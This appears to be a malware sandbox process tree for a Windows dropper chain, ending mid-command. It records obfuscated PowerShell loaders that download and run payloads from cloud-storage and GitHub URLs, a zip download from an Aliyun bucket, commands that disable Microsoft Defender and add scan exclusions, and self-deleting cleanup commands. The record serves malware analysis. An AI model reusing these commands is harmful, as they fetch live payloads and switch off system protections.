C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=6348,i,15107565531621553870,5800488069882734513,2097152 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6740 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=ja --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=3640,i,18443406056234149698,4625567749426057150,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=ja --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6092,i,4311584857108032535,88556329845669818,524288 --field-trial-handle=2904,i,9907919869466483808,7751600125407891865,262144 --variations-seed-version --mojo-platform-channel-handle=6988 /prefetch:145⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xc0,0x124,0x128,0x108,0x12c,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7405⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xdc,0x12c,0x7ffde327c728,0x7ffde327c734,0x7ffde327c7405⤵
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\a\Client.exeClient.exe3⤵
-
-
C:\Windows\System32\a\EagleJetClient4.exeEagleJetClient4.exe3⤵
-
-
C:\Windows\System32\a\loner.exeloner.exe3⤵
-
-
C:\Windows\System32\a\1.exe1.exe3⤵
-
C:\Windows\System32\a\1.exeC:\Windows\System32\a\1.exe4⤵
-
C:\Windows\system32\whoami.exewhoami5⤵
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe spx.vbs3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Public\Documents\Sys105884\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys105884\tmp193.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip4⤵
-
C:\Users\Public\Documents\Sys105884\msvcrt.dllC:\Users\Public\Documents\Sys105884\msvcrt.dll -k -s -L -o "C:\Users\Public\Documents\Sys105884\tmp193.zip" https://baolongwes.oss-ap-southeast-1.aliyuncs.com/spx/ficeo.zip5⤵
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Public\Documents\Sys105884\setup1.vbs"4⤵
-
-
-
C:\Windows\System32\a\jhgkuyyg.exejhgkuyyg.exe3⤵
-
-
C:\Windows\System32\a\20.exe20.exe3⤵
-
-
C:\Windows\System32\a\16.exe16.exe3⤵
-
-
C:\Windows\System32\a\hnmh.exehnmh.exe3⤵
-
-
C:\Windows\System32\a\kliulij.exekliulij.exe3⤵
-
-
C:\Windows\System32\a\bjbh.exebjbh.exe3⤵
-
-
C:\Windows\System32\a\fdClient.exefdClient.exe3⤵
-
-
C:\Windows\System32\a\TitanuimXross01.exeTitanuimXross01.exe3⤵
-
-
C:\Windows\System32\a\a.exea.exe3⤵
-
C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"4⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C ping 127.0.0.1 -n 2 >nul & del /f /q "C:\Windows\System32\a\a.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ZoomInstaller.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\a\install.exeinstall.exe3⤵
-
-
C:\Windows\System32\a\587.exe587.exe3⤵
-
-
C:\Windows\System32\a\win.exewin.exe3⤵
-
C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"4⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C ping 127.0.0.1 -n 2 >nul & del /f /q "C:\Windows\System32\a\win.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\System32\a\1992.exe1992.exe3⤵
-
-
C:\Windows\System32\a\11.exe11.exe3⤵
-
C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"4⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C ping 127.0.0.1 -n 2 >nul & del /f /q "C:\Windows\System32\a\11.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe System.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $NYjjV = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyRwcW1qb2EgPS☇☇☇naHR0cHM6Ly9maXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20vdj☇☇☇vYi9yb2RyaWFrZC04NDEzZC5hcHBzcG90LmNvbS9vL2RsbCUyRkRMTCUyMDEwLT☇☇☇2LnR4dD9hbHQ9bWVkaWEmdG9rZW49OGFlYmZjZD☇☇☇tMzMxOS00YjIyLTkzODgtODQ0OWQyOGQzZDQ2Jy☇☇☇7JFB4UHl0ID0gKC☇☇☇nQzpcUHJvZ3JhbURhdGFcJy☇☇☇rICdMd29xby50eHQnKTskcFRnZGcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskc0ZVQmMgPS☇☇☇kcFRnZGcuRG93bmxvYWRTdHJpbmcoICRwcW1qb2EgKS☇☇☇7JHNGVUJjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☇☇☇tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☇☇☇7JGxOVFhCID0gKC☇☇☇nQzpcUHJvZ3JhbURhdGFcJy☇☇☇rICdMd29xby50eHQnKS☇☇☇7JGhWcXF0ID0gJ0xvYWQnIDska1R4VVggPS☇☇☇nSW52b2tlJzskeUdwSVcgPS☇☇☇kbnVsbDskWVdGSWIgPS☇☇☇nJG5EeFdxID0gJyd0eHQudGF2bi9uaWFtL3NkYWVoL3NmZXIvbWFzY2ltb2MvODIxMDU4b3RlYmFjL21vYy50bmV0bm9jcmVzdWJ1aHRpZy53YXIvLzonJy☇☇☇rICcnc3B0dCcnICsgJydoJycgOycgOyRZV0ZJYi☇☇☇rPS☇☇☇nOyR4ID0gKCcnQzpcUHJvZ3JhbURhdGFcTHdvcW8udHh0JycpOyRGbG9QZi☇☇☇9IChHZXQtQ29udGVudC☇☇☇tUGF0aC☇☇☇keC☇☇☇tRW5jb2RpbmcgVVRGOCk7JEZsb1BmID0gJEZsb1BmLnJlcGxhY2UoJycqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKionJywgJydBJycpOycgOyRZV0ZJYi☇☇☇rPS☇☇☇nW0J5dGVbXV0gJFZMbVBlID0gW3N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggJEZsb1BmICkgOycgOyRZV0ZJYi☇☇☇rPS☇☇☇nW1N5c3RlbS5BcHBEb21haW5dOicgKy☇☇☇nOkN1cnJlbnREb21haW4uJy☇☇☇rICRoVnFxdC☇☇☇rICcoICRWTG1QZS☇☇☇pLicgOyRZV0ZJYi☇☇☇rPS☇☇☇nR2V0VHlwZSggJydGanJELkx6S1dtJycgKS5HZXRNZXQnIDskWVdGSWIgKz0gJ2hvZCggJydXbUpaWicnICkuJy☇☇☇rICRrVHhVWC☇☇☇rICcoICR5R3BJVy☇☇☇sIFtvYmplY3RbXV0gKC☇☇☇oICRuRHhXcS☇☇☇pICwgJyclTEp3dmslJycgLC☇☇☇nJycnLC☇☇☇nJz☇☇☇zJycsICcnMScnLC☇☇☇nJ2NhY2EnJy☇☇☇gKS☇☇☇pIDsnIDskd2ViQ2xpZW50LkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLj☇☇☇7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNi☇☇☇oS0hUTUwsIExpa2UgR2Vja28pIENocm9tZS8xMj☇☇☇uMC4wLj☇☇☇gU2FmYXJpLzUzNy4zNiBFZGcvMTIwLj☇☇☇uMC4wJyk7JE1NZW1VID0gKC☇☇☇nQzpcUHJvZ3JhbURhdGFcJy☇☇☇rICdMd29xby5wczEnICkgOyRZV0ZJYiB8IE91dC1GaWxlIC1GaWxlUGF0aC☇☇☇kTU1lbVUgIC1mb3JjZS☇☇☇7cG93ZXJzaGVsbC☇☇☇tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☇☇☇tRmlsZS☇☇☇kTU1lbVUgOw==';;$eFejG = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($NYjjV -replace '☇☇☇','A') ) );$eFejG = ($eFejG -replace '%LJwvk%', , 'C:\Windows\System32\a\System.vbs');$lNTXB = ( 'C:\ProgramData\' + 'NgOVP.ps1') ;$eFejG | Out-File -FilePath $lNTXB -force ;;powershell -ExecutionPolicy Bypass -File $lNTXB;4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\NgOVP.ps15⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\Lwoqo.ps16⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Copy-Item 'C:\Windows\System32\a\System.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'7⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
-
-
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe System1.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Wzt = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyRwcW1qb2EgPSঔৣ⇜naHR0cHM6Ly9maXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20vdjঔৣ⇜vYi9yb2RyaWFrZC04NDEzZC5hcHBzcG90LmNvbS9vL2RsbCUyRjElMjBsaW5rJTIwZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49ZTczODlhZDItNGFkOS00ZmI3LWJmNjঔৣ⇜tMmE1MDJiYmI2YzZjJyঔৣ⇜7JFB4UHl0ID0gKCঔৣ⇜nQzpcUHJvZ3JhbURhdGFcJyঔৣ⇜rICdkU3Z3bi50eHQnKTskd2ViQ2xpZW50LkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjঔৣ⇜7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiঔৣ⇜oS0hUTUwsIExpa2UgR2Vja28pIENocm9tZS8xMjঔৣ⇜uMC4wLjঔৣ⇜gU2FmYXJpLzUzNy4zNiBFZGcvMTIwLjঔৣ⇜uMC4wJyk7JHBUZ2RnID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCঔৣ⇜7JEhjWEJzID0gJHBUZ2RnLkRvd25sb2FkU3RyaW5nKCঔৣ⇜kcHFtam9hICkgOyRIY1hCcyB8IE91dC1GaWxlIC1GaWxlUGF0aCঔৣ⇜kUHhQeXQgLUVuY29kaW5nICdVVEY4Jyঔৣ⇜tZm9yY2UgOyRXeE5Deiঔৣ⇜9ICggJ0M6XFByb2dyYW1EYXRhXCcgKyঔৣ⇜nZFN2d24udHh0JykgOyRaSmJzVVggPSঔৣ⇜nTG9hZCcgOyRaU0RZRyঔৣ⇜9ICdJbnZva2UnOyR5TmxVTyঔৣ⇜9ICRudWxsOyRZV0ZJYiঔৣ⇜9ICckdHhJZU4gPSঔৣ⇜nJ3R4dC5pc21fa3NhdC9uaWFtL3NkYWVoL3NmZXIvc292aWhjcmEtc2ltL2dwai02MjYyNjJyZWxnbmVwcy9tb2MudG5ldG5vY3Jlc3VidWh0aWcud2FyLy86JycgKyঔৣ⇜nJ3NwdCcnICsgJyd0aCcnIDsnIDskWVdGSWIgKz0gJzskeCঔৣ⇜9ICgnJ0M6XFByb2dyYW1EYXRhXGRTdnduLnR4dCcnKTskT2dtZWdjID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskT2dtZWdjID0gJE9nbWVnYy5yZXBsYWNlKCcnPT09PT09PT09JycsICcnQScnKTsnIDskWVdGSWIgKz0gJ1tCeXRlW11dICRWTG1QZSঔৣ⇜9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRPZ21lZ2MgKSঔৣ⇜7Jyঔৣ⇜7JFlXRkliICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jyঔৣ⇜rICc6Q3VycmVudERvbWFpbi4nICsgJFpKYnNVWCঔৣ⇜rICcoICRWTG1QZSঔৣ⇜pLicgOyRZV0ZJYiঔৣ⇜rPSঔৣ⇜nR2V0VHlwZSggJydGanJELkdxZ2EnJyঔৣ⇜pLkdldE1ldCcgOyRZV0ZJYiঔৣ⇜rPSঔৣ⇜naG9kKCঔৣ⇜nJ05SSk9NUycnICkuJyঔৣ⇜rICRaU0RZRyঔৣ⇜rICcoICR5TmxVTyঔৣ⇜sIFtvYmplY3RbXV0gKCঔৣ⇜oICR0eEllTiঔৣ⇜pICwgJycldWpKRGRVJScnICwgJydPRXpUSkMnJywgJycwMycnLCঔৣ⇜nJzEnJywgJydjYWNhJycgICkgKSঔৣ⇜7Jyঔৣ⇜7JFdFTUVTID0gKCঔৣ⇜nQzpcUHJvZ3JhbURhdGFcJyঔৣ⇜rICdEdlZicy5wczEnICkgOyRZV0ZJYiB8IE91dC1GaWxlIC1GaWxlUGF0aCঔৣ⇜kV0VNRVMgIC1mb3JjZSঔৣ⇜7cG93ZXJzaGVsbCঔৣ⇜tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyঔৣ⇜tRmlsZSঔৣ⇜kV0VNRVMgOw==';$jXaFy = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($Wzt -replace 'ঔৣ⇜','A') ) );$jXaFy = ($jXaFy -replace '%ujJDdU%', 'C:&Windows&System32&a&System1.vbs');$WxNCz = ( 'C:\ProgramData\' + 'Vy.ps1') ;$jXaFy | Out-File -FilePath $WxNCz -force ;;powershell -ExecutionPolicy Bypass -File $WxNCz;4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\Vy.ps15⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\DvVbs.ps16⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Windows\System32\a\finale.exefinale.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\W2d7e9fea"4⤵
-
-
-
C:\Windows\System32\a\eagleClient004.exeeagleClient004.exe3⤵
-
-
C:\Windows\System32\a\EaglesTitan001.exeEaglesTitan001.exe3⤵
-
-
C:\Windows\System32\a\EagleWingsDNA04.exeEagleWingsDNA04.exe3⤵
-
-
C:\Windows\System32\a\ojujn.exeojujn.exe3⤵
-
-
C:\Windows\System32\a\hjbk.exehjbk.exe3⤵
-
-
C:\Windows\System32\a\whatever.exewhatever.exe3⤵
-
-
C:\Windows\System32\a\file_a6357da6a05d7266.exefile_a6357da6a05d7266.exe3⤵
-
-
C:\Windows\System32\a\loader.exeloader.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c color 0D4⤵
-
-
-
C:\Windows\System32\a\file_c0d2eb6a8b73120b.exefile_c0d2eb6a8b73120b.exe3⤵
-
-
C:\Windows\System32\a\file_b584670f7ec2f317.exefile_b584670f7ec2f317.exe3⤵
-
-
C:\Windows\System32\a\MDClient.exeMDClient.exe3⤵
-
-
C:\Windows\System32\a\Isass.exeIsass.exe3⤵
-
C:\Windows\System32\a\Isass.exeIsass.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
C:\Windows\System32\a\fo4translator.exefo4translator.exe3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\llgZCcenF\" ; Add-MpPreference -ExclusionPath \"C:\Users\""4⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Hidden Window
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\llgZCcenF\" ; Add-MpPreference -ExclusionPath \"C:\Users\""5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\llgZCcenF\executavel_temporario.exe"C:\Users\Admin\AppData\Local\llgZCcenF\executavel_temporario.exe"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
-
C:\Users\Admin\AppData\Local\llgZCcenF\executavel_temporario.exeC:\Users\Admin\AppData\Local\llgZCcenF\executavel_temporario.exe4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Windows\System32\a\kikikmoralibrary.exekikikmoralibrary.exe3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\q4jthmtt\q4jthmtt.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1904.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCC40D6B978A9044B69DE53EBD8C3C543.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1w2mwqdq\1w2mwqdq.cmdline"4⤵
-
-
-
C:\Windows\System32\a\file.exefile.exe3⤵
-
-
C:\Windows\System32\a\CFXBypass.exeCFXBypass.exe3⤵
-
C:\Users\Admin\AppData\Local\13a79f34-1819-427a-8996-d798abb797c6\background.exe"C:\Users\Admin\AppData\Local\13a79f34-1819-427a-8996-d798abb797c6\background.exe"4⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAH